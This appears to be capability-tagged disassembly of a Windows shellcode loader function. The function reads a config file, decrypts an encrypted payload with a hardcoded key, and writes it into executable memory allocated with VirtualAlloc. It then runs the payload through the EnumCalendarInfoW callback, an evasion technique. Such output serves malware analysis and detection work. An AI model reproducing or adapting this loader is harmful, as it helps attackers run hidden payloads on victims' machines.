Function at 0x140005610
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x338
lea rdx, str.payload.ini
lea rcx, [rsp + 0xc8]
call fcn.1400029ec
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x220]
call fcn.140002830
nop
mov rax, qword [rsp + 0x220]
movsxd rax, dword [rax + 4]
lea rax, [rsp + rax + 0x220]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
test eax, eax
je 0x1400056e4
lea rdx, str.open_config_file_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000111c
lea rdx, [rsp + 0xc8]
mov rcx, rax
call fcn.1400010d8
lea rdx, [0x14000221c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], 1
lea rcx, [rsp + 0x220]
call fcn.140003398
nop
lea rcx, [rsp + 0xc8]
call fcn.14000307c
mov eax, dword [rsp + 0x40]
jmp 0x1400059d5
lea rcx, [rsp + 0xa8]
call fcn.140002a3c
nop
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x220]
call fcn.1400024e0
lea rcx, [rsp + 0x220]
call fcn.140004240
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x110]
call fcn.140002830
nop
mov rax, qword [rsp + 0x110]
movsxd rax, dword [rax + 4]
lea rax, [rsp + rax + 0x110]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
test eax, eax
je 0x1400057dd
lea rdx, str.open_encrypted_file_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000111c
lea rdx, [rsp + 0xa8]
mov rcx, rax
call fcn.1400010d8
lea rdx, [0x14000221c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x44], 1
lea rcx, [rsp + 0x110]
call fcn.140003398
nop
lea rcx, [rsp + 0xa8]
call fcn.14000307c
nop
lea rcx, [rsp + 0x220]
call fcn.140003398
nop
lea rcx, [rsp + 0xc8]
call fcn.14000307c
mov eax, dword [rsp + 0x44]
jmp 0x1400059d5
mov r8d, 2
xor edx, edx
lea rcx, [rsp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.14000328c
mov qword [rsp + 0x38], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rcx, [rsp + 0x30]
call fcn.1400017f0
mov r8, rax
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x80]
call fcn.140002b04
nop
lea rcx, [rsp + 0x80]
call fcn.1400040ac
mov r8, qword [rsp + 0x38]
mov rdx, rax
lea rcx, [rsp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x110]
call fcn.140004240
lea rax, [rsp + 0x98]
lea rcx, str.SecretKey
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x60], 9
lea rcx, [rsp + 0x80]
call fcn.1400040ac
mov r9, qword [rsp + 0x60]
lea r8, [rsp + 0x98]
mov rdx, qword [rsp + 0x38]
mov rcx, rax
call fcn.140005294
mov rcx, qword [rsp + 0x38]
call fcn.140005a84
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x80]
call fcn.1400042e8
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x80]
call fcn.140004154
mov r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rcx]
mov rcx, qword [rax]
call fcn.140002188
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call sub.VCRUNTIME140.dll_memmove
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x78]
call fcn.140005a7c
mov dword [rsp + 0x48], 0
lea rcx, [rsp + 0x80]
call fcn.1400030dc
nop
lea rcx, [rsp + 0x110]
call fcn.140003398
nop
lea rcx, [rsp + 0xa8]
call fcn.14000307c
nop
lea rcx, [rsp + 0x220]
call fcn.140003398
nop
lea rcx, [rsp + 0xc8]
call fcn.14000307c
mov eax, dword [rsp + 0x48]
add rsp, 0x338
pop rdi
pop rsi
ret